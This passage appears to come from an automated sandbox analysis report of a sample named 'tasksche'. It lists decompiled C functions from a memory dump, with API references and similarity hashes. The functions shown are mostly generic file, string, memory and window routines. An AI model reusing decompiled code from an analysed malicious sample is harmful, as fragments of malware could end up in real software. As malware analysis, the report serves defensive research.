						asm("adc edx, ecx");
					} else {
						if( *((intOrPtr*)(_t32 + 0x14)) == 0) {
							_t13 = _t26 | 0xffffffff;
						} else {
							E00406402(0x4335ac, _t32 + 0x1e);
							goto L7;
						}
					}
				} else {
					if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
						_t13 = _t26;
					} else {
						E00406402(0x4335ac, __ecx + 0x1e);
						goto L3;
					}
				}
				return _t13;
			}

0x00408bb1
0x00408bb4
0x00408bb6
0x00408bbe
0x00408bd3
0x00408bde
0x00408be1
0x00408be7
0x00408bec
0x00408c0b
0x00408c10
0x00408c1b
0x00408c1d
0x00408bf8
0x00408bfb
0x00408c2b
0x00408bfd
0x00408c06
0x00000000
0x00408c06
0x00408bfb
0x00408bc0
0x00408bc3
0x00408c24
0x00408bc5
0x00408bce
0x00000000
0x00408bce
0x00408bc3
0x00408c23

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
GetLastError.KERNEL32(?,?), ref: 00408BEE

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction ID: 02e03e75e993c9a8a945b97f90e28c3a97864ede8bf9f3e31abc9cd0b64ad5c5
Opcode Fuzzy Hash: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction Fuzzy Hash: 540145B2706204BFE7209B788D458AB36ADCB84334B14423FB192E33C1EA749D00527D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3BF Relevance: 3.0, APIs: 2, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040C3BF(int _a4) {
				signed int _t3;
				signed int _t4;
				int _t12;
				WCHAR* _t22;

				_t3 =  *0x4355d8; // 0x5
				_t4 = _t3 + 1;
				 *0x4355d8 = _t4;
				if(_t4 >= 8) {
					_t4 = 0;
					 *0x4355d8 = 0;
				}
				_t22 = (_t4 << 0xa) + 0x4335d8;
				 *_t22 = 0;
				if(E0040BB81(0x4335bc) != 0) {
					L4:
					LoadStringW( *0x4335a4, _a4, _t22, 0x200);
				} else {
					_t12 = LoadStringW( *0x4335a8, _a4, _t22, 0x200); // executed
					if(_t12 == 0) {
						goto L4;
					}
				}
				E0040BF1D(0x4335bc, _t22, _t22, 0x200, 0, 0);
				return _t22;
			}

0x0040c3bf
0x0040c3c4
0x0040c3c5
0x0040c3cd
0x0040c3cf
0x0040c3d1
0x0040c3d1
0x0040c3e1
0x0040c3ed
0x0040c402
0x0040c416
0x0040c422
0x0040c404
0x0040c410
0x0040c414
0x00000000
0x00000000
0x0040c414
0x0040c42d
0x0040c438

APIs

LoadStringW.USER32(?,-004335D2,00000200), ref: 0040C410
LoadStringW.USER32(?,-004335D2,00000200), ref: 0040C422

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction ID: edfc175873420c56a2918f30daf07abd917a54f8fc7c105ac48efc03a3cacc81
Opcode Fuzzy Hash: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction Fuzzy Hash: 200186722012107FD6209F19AC85F577BEDEB99351F10543AB900D32A1D6359C01876C

Uniqueness

Uniqueness Score: -1.00%

Function 00408F4B Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00408F4B(intOrPtr* __ecx, long _a4, long _a8, signed int _a12) {
				long _v8;
				void* __ebp;
				void* _t16;
				long _t20;
				void* _t22;
				void* _t25;
				long _t27;
				intOrPtr* _t30;
				long _t33;

				_t24 = __ecx;
				_push(__ecx);
				_t30 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0xffffffff) {
					L12:
					_t16 = 1;
				} else {
					_t27 = _a8;
					_t33 = _t27;
					if(_t33 <= 0 && (_t33 < 0 || _a4 < 0) && _a12 != 0) {
						if(_a12 != 1) {
							_t22 = E00408E03(_t24, _t25);
						} else {
							_t22 =  *((intOrPtr*)( *_t30 + 0x10))();
						}
						_a4 = _a4 + _t22;
						asm("adc edi, edx");
						_a12 = _a12 & 0x00000000;
					}
					_v8 = _t27;
					_t20 = SetFilePointer( *(_t30 + 4), _a4,  &_v8, _a12); // executed
					if(_t20 != 0xffffffff || GetLastError() == 0) {
						goto L12;
					} else {
						_t16 = 0;
					}
				}
				return _t16;
			}

0x00408f4b
0x00408f4e
0x00408f50
0x00408f56
0x00408fb8
0x00408fb8
0x00408f58
0x00408f59
0x00408f5c
0x00408f5e
0x00408f72
0x00408f7b
0x00408f74
0x00408f76
0x00408f76
0x00408f80
0x00408f83
0x00408f85
0x00408f85
0x00408f98
0x00408f9e
0x00408fa8
0x00000000
0x00408fb4
0x00408fb4
0x00408fb4
0x00408fa8
0x00408fbc

APIs

SetFilePointer.KERNELBASE(?,?,00000001,00000000,?,?,?,?,00408FD1,00000000,00000000,00000000,?,00407DE2,?,?), ref: 00408F9E
GetLastError.KERNEL32(00408FD1,00000000,00000000,00000000,?,00407DE2,?,?,?,?,?,?,?,?), ref: 00408FAA

Part of subcall function 00408E03: __EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileH_prologLastPointer
String ID:
API String ID: 4236474358-0
Opcode ID: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction ID: 31f7e80921147255a447777291f97898e209bd40052f61b908ef1a5d0e3b9beb
Opcode Fuzzy Hash: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction Fuzzy Hash: 1E019631200306DBCF248F64CD046AE776ABF813A5F14463EF8A1A22D0DB78D951DA55

Uniqueness

Uniqueness Score: -1.00%

Function 0041A89A Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0041A89A(void* __ebx, void* __edx, void* __edi, void* __eflags, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v0;
				char _v16;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* _t39;
				signed int _t40;
				signed int _t46;
				void* _t51;
				void* _t53;
				intOrPtr* _t56;
				intOrPtr* _t58;
				void* _t62;
				void* _t74;
				void* _t75;
				signed int _t76;
				signed int _t79;

				_t75 = __edi;
				_t74 = __edx;
				_t62 = __ebx;
				while(1) {
					_t39 = E0041CF3E(_t62, _t74, _t75, _a4); // executed
					if(_t39 != 0) {
						break;
					}
					_t40 = E0041FC9B(_a4);
					__eflags = _t40;
					if(_t40 == 0) {
						__eflags =  *0x44f810 & 0x00000001;
						if(( *0x44f810 & 0x00000001) == 0) {
							 *0x44f810 =  *0x44f810 | 0x00000001;
							__eflags =  *0x44f810;
							E0041216A(0x44f804);
							E0041C9CF( *0x44f810, 0x4299d0);
						}
						E004125FA( &_v16, 0x44f804);
						E0041C77F( &_v16, 0x42d504);
						asm("int3");
						_push(_t62);
						__eflags = _v0;
						if(__eflags != 0) {
							_push(0x44f804);
							_t79 = _a4;
							_push(_t75);
							_t76 = _a8;
							__eflags = _t76;
							if(_t76 == 0) {
								L12:
								_v28 = 0x42;
								_v32 = _t79;
								_v40 = _t79;
								__eflags = _t76 - 0x3fffffff;
								if(_t76 <= 0x3fffffff) {
									_v36 = _t76 + _t76;
								} else {
									_v36 = 0x7fffffff;
								}
								_t46 = _v0( &_v40, _a12, _a16, _a20);
								_a12 = _t46;
								__eflags = _t79;
								if(_t79 != 0) {
									__eflags = _t46;
									if(_t46 < 0) {
										L24:
										__eflags = _v36;
										 *((short*)(_t79 + _t76 * 2 - 2)) = 0;
										_t46 = 0 | _v36 >= 0x00000000;
										__eflags = _t46;
									} else {
										_t22 =  &_v36;
										 *_t22 = _v36 - 1;
										__eflags =  *_t22;
										if( *_t22 < 0) {
											_t51 = E0041FE68(_t74, _t76, 0,  &_v40);
											__eflags = _t51 - 0xffffffff;
											if(_t51 == 0xffffffff) {
												goto L24;
											} else {
												goto L20;
											}
										} else {
											 *_v40 = 0;
											_v40 = _v40 + 1;
											L20:
											_t28 =  &_v36;
											 *_t28 = _v36 - 1;
											__eflags =  *_t28;
											if( *_t28 < 0) {
												_t53 = E0041FE68(_t74, _t76, 0,  &_v40);
												__eflags = _t53 - 0xffffffff;
												if(_t53 == 0xffffffff) {
													goto L24;
												} else {
													goto L23;
												}
											} else {
												 *_v40 = 0;
												L23:
												_t46 = _a12;
											}
										}
									}
								}
							} else {
								__eflags = _t79;
								if(__eflags != 0) {
									goto L12;
								} else {
									_t56 = E0041EDAE(__eflags);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									 *_t56 = 0x16;
									_t46 = E00420103(_t74, _t76, _t79) | 0xffffffff;
								}
							}
						} else {
							_t58 = E0041EDAE(__eflags);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							 *_t58 = 0x16;
							_t46 = E00420103(_t74, _t75, 0x44f804) | 0xffffffff;
						}
						return _t46;
					} else {
						continue;
					}
					L27:
				}
				return _t39;
				goto L27;
			}

0x0041a89a
0x0041a89a
0x0041a89a
0x0041a8b1
0x0041a8b4
0x0041a8bc
0x00000000
0x00000000
0x0041a8a7
0x0041a8ad
0x0041a8af
0x0041a8c0
0x0041a8cc
0x0041a8ce
0x0041a8ce
0x0041a8d7
0x0041a8e1
0x0041a8e6
0x0041a8eb
0x0041a8f9
0x0041a8fe
0x0041a907
0x0041a90a
0x0041a90d
0x0041a92f
0x0041a930
0x0041a933
0x0041a934
0x0041a937
0x0041a939
0x0041a95f
0x0041a95f
0x0041a966
0x0041a969
0x0041a96c
0x0041a972
0x0041a980
0x0041a974
0x0041a974
0x0041a974
0x0041a990
0x0041a996
0x0041a999
0x0041a99b
0x0041a99d
0x0041a99f
0x0041a9e3
0x0041a9e5
0x0041a9e8
0x0041a9f1
0x0041a9f1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a4
0x0041a9b5
0x0041a9bc
0x0041a9bf
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9a6
0x0041a9a9
0x0041a9ab
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c4
0x0041a9d2
0x0041a9d9
0x0041a9dc
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9c6
0x0041a9c9
0x0041a9de
0x0041a9de
0x0041a9de
0x0041a9c4
0x0041a9a4
0x0041a99f
0x0041a93b
0x0041a93b
0x0041a93d
0x00000000
0x0041a93f
0x0041a93f
0x0041a944
0x0041a945
0x0041a946
0x0041a947
0x0041a948
0x0041a949
0x0041a957
0x0041a957
0x0041a93d
0x0041a90f
0x0041a90f
0x0041a914
0x0041a915
0x0041a916
0x0041a917
0x0041a918
0x0041a919
0x0041a927
0x0041a927
0x0041a9f6
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a8af
0x0041a8bf
0x00000000

APIs

_malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

__CxxThrowException@8.LIBCMT ref: 0041A8F9

Part of subcall function 0041216A: std::exception::exception.LIBCMT ref: 00412174

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::exception::exception
String ID:
API String ID: 1264268182-0
Opcode ID: 488aefbad45324ff37e950e4da10f49f42e7f09e4ea378ab16e103540516bcd1
Instruction ID: 42064790ed8d2a037bfba99cbedd4ff18ff19c5b52db1d8e26b3e688ef0b8114
Opcode Fuzzy Hash: 488aefbad45324ff37e950e4da10f49f42e7f09e4ea378ab16e103540516bcd1
Instruction Fuzzy Hash: 64F0E23160021972CB047B22ED46ACE37586F01728B10403BFC1199192DFAC9ADA919E

Uniqueness

Uniqueness Score: -1.00%

Function 004090E4 Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004090E4(WCHAR* _a4) {
				short _v4100;
				int _t11;
				signed int _t17;
				signed int _t18;

				E0041AAF0(0x1000);
				_t11 = DeleteFileW(_a4); // executed
				_t18 = _t17 & 0xffffff00 | _t11 != 0x00000000;
				if(_t18 == 0 && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
					_t18 = _t18 & 0xffffff00 | DeleteFileW( &_v4100) != 0x00000000;
				}
				return _t18;
			}

0x004090ec
0x004090fc
0x00409100
0x00409105
0x0040912a
0x0040912a
0x00409132

APIs

DeleteFileW.KERNELBASE(?,?,-00000011,?,0040877F,?,?,00000001,?,?,?,?,?,?,00000000,?), ref: 004090FC
DeleteFileW.KERNEL32(?,?,?,00000800,?,0040877F,?,?,00000001,?,?,?,?,?,?,00000000), ref: 00409126

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction ID: c332a15ca0b0e5e82477794df9822c7aeed54c7470201c7e9f38434531037f1b
Opcode Fuzzy Hash: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction Fuzzy Hash: DBE02B3114122AA7EB00A620DC01FDA3B5C9F043C0F0440737C80E71D1DB75DCE0D9A4

Uniqueness

Uniqueness Score: -1.00%

Function 00409041 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409041(WCHAR* _a4) {
				short _v4100;
				long _t7;
				long _t12;
				long _t13;

				E0041AAF0(0x1000);
				_t7 = GetFileAttributesW(_a4); // executed
				_t13 = _t7;
				if(_t13 == 0xffffffff && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
					_t12 = GetFileAttributesW( &_v4100); // executed
					_t13 = _t12;
				}
				return _t13;
			}

0x00409049
0x00409059
0x0040905b
0x00409060
0x00409081
0x00409083
0x00409083
0x0040908a

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409059
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409081

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction ID: f0aa2148c7acefeba2e85b7bc3a11c2245577506fd5686bf0be3bfe97b3e7ecd
Opcode Fuzzy Hash: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction Fuzzy Hash: BBE092326101186ACB10A669DC00BDE379D9BC83E5F0401B3BE44E32D5DAB4DD95CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040DDFF Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0040DE2D
SetDlgItemTextW.USER32 ref: 0040DE44

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction ID: 335ddef7e6713e4d0d4f603cdcadd61df7388e1f4a4116fbf7552c9c9eb2c210
Opcode Fuzzy Hash: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction Fuzzy Hash: 02F0EC75A0420866E711B7A1CC07F9B36589B09789F04047FB601760F3D9795564479A

Uniqueness

Uniqueness Score: -1.00%

Function 00410EDB Relevance: 3.0, APIs: 2, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00410EDB(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t11;
				signed int _t14;

				_t8 = GetProcessAffinityMask(GetCurrentProcess(),  &_v8,  &_v12); // executed
				if(_t8 == 0) {
					L6:
					return 1;
				}
				_t11 = 0;
				_t14 = 1;
				do {
					if((_v8 & _t14) != 0) {
						_t11 = _t11 + 1;
					}
					_t14 = _t14 + _t14;
				} while (_t14 != 0);
				if(_t11 < 1) {
					goto L6;
				}
				return _t11;
			}

0x00410eef
0x00410ef7
0x00410f0d
0x00000000
0x00410f0f
0x00410efb
0x00410efd
0x00410efe
0x00410f01
0x00410f03
0x00410f03
0x00410f04
0x00410f04
0x00410f0b
0x00000000
0x00000000
0x00410f11

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,00410F17,00409FF4), ref: 00410EE8
GetProcessAffinityMask.KERNEL32 ref: 00410EEF

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction ID: ae3045e16ef29d64dcafac8e7d0c22bbd438388315c71f77e1501110187c073f
Opcode Fuzzy Hash: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction Fuzzy Hash: 86E08672A1020AA78F2897A0CD4A9EF32ACEB01215700087BE503C1640EAF8D5D24629

Uniqueness

Uniqueness Score: -1.00%

Function 004060C9 Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004060C9(struct HWND__* _a4, int _a8, signed char _a12) {
				int _t8;

				asm("sbb eax, eax");
				_t8 = ShowWindow(GetDlgItem(_a4, _a8),  ~(_a12 & 0x000000ff) & 0x00000009); // executed
				return _t8;
			}

0x004060d0
0x004060e5
0x004060eb

APIs

GetDlgItem.USER32 ref: 004060DE
ShowWindow.USER32(00000000), ref: 004060E5

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 76029219059209f4090a36f07538af165f69a2de4b0c3b600f66da5fa765a026
Instruction ID: 00e924dde3bcd55588ca107b376b403c6fb897f844ebcc5e5070703d20151260
Opcode Fuzzy Hash: 76029219059209f4090a36f07538af165f69a2de4b0c3b600f66da5fa765a026
Instruction Fuzzy Hash: E7C01232258241FFCB020BB0DC09E2ABBA8ABA5312F10CD68B4A5C1160C23AC024DB22

Uniqueness

Uniqueness Score: -1.00%

Function 00402C8B Relevance: 1.7, APIs: 1, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402C8B(void* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				char _t69;
				signed int _t75;
				intOrPtr _t84;
				signed int _t88;
				intOrPtr _t96;
				signed int _t116;
				void* _t139;
				void* _t147;

				_t134 = __edx;
				E0041A4DC(E00429577, _t147);
				E0041AAF0(0xe6e0);
				_t141 = __ecx;
				if( *((char*)(__ecx + 0xb064)) == 0) {
					__eflags =  *((char*)(__ecx + 0x8942)) - 5;
					if( *((char*)(__ecx + 0x8942)) > 5) {
						L26:
						_t142 = _t141 + 0x1e;
						__eflags = _t141 + 0x1e;
						E00406376(0x1c, _t142);
						goto L27;
					}
					asm("sbb eax, eax");
					__eflags = ( *(__ecx + 0x8941) & 0x000000ff) - ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d);
					if(( *(__ecx + 0x8941) & 0x000000ff) > ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d)) {
						goto L26;
					}
					_t75 =  *(__ecx + 0x9970) |  *(__ecx + 0x9974);
					__eflags = _t75;
					if(_t75 != 0) {
						L7:
						_t139 = _t141 + 0x20e8;
						E0040B758(_t139);
						_push(_t139);
						E0041768A(_t147 - 0xe6ec, _t134, _t139, __eflags); // executed
						_t106 = 0;
						 *(_t147 - 4) = 0;
						E004126F0(_t147 - 0xe6ec,  *((intOrPtr*)(_t141 + 0x9a0c)), 0); // executed
						__eflags =  *(_t147 + 0xc);
						if( *(_t147 + 0xc) != 0) {
							L16:
							__eflags =  *((char*)(_t141 + 0x99b3));
							if( *((char*)(_t141 + 0x99b3)) == 0) {
								L19:
								_t106 = _t141 + 0x9988;
								E00409885(_t141 + 0x59b8,  *(_t141 + 0x9988), 1);
								 *((intOrPtr*)(_t141 + 0x210c)) =  *((intOrPtr*)(_t141 + 0x9974));
								 *((intOrPtr*)(_t141 + 0x2108)) =  *((intOrPtr*)(_t141 + 0x9970));
								 *((char*)(_t141 + 0x2110)) = 0;
								E0040B863(_t139, _t141,  *(_t147 + 0xc));
								 *((char*)(_t141 + 0x42af)) =  *((intOrPtr*)(_t141 + 0x99b1));
								 *(_t139 + 0x3c) =  *(_t139 + 0x3c) & 0x00000000;
								 *((intOrPtr*)(_t139 + 0x38)) = _t141 + 0x8928;
								__eflags =  *((char*)(_t141 + 0x8942));
								_t84 =  *((intOrPtr*)(_t141 + 0x9978));
								_t116 =  *(_t141 + 0x997c);
								 *((intOrPtr*)(_t147 - 0x9aac)) = _t84;
								 *(_t147 - 0x9aa8) = _t116;
								 *((char*)(_t147 - 0x9a94)) = 0;
								if(__eflags != 0) {
									E00418AFF(_t147 - 0xe6ec,  *(_t141 + 0x8941) & 0x000000ff, 0);
								} else {
									_push(_t116);
									_push(_t84);
									_push(_t139); // executed
									E004071DF(_t134, __eflags); // executed
								}
								asm("sbb ecx, ecx");
								_t88 = E00409AE9(_t106, _t141 + 0x59b8, _t134, __eflags, _t106,  ~( *(_t141 + 0x99e2) & 0x000000ff) & _t141 + 0x000099e3);
								__eflags = _t88;
								if(_t88 != 0) {
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139); // executed
									L6:
									_t69 = 1;
									goto L28;
								} else {
									E0040639F(0x1d, _t141 + 0x1e, _t141 + 0x8948);
									E004062BA(0x4335ac, 3);
									_t124 =  *(_t147 + 8);
									__eflags =  *(_t147 + 8);
									if( *(_t147 + 8) != 0) {
										E00401B67(_t124);
									}
									L12:
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139);
									goto L27;
								}
							}
							_t96 =  *((intOrPtr*)(_t141 + 0x6524));
							__eflags =  *((char*)(_t96 + 0x4124));
							if( *((char*)(_t96 + 0x4124)) == 0) {
								goto L12;
							}
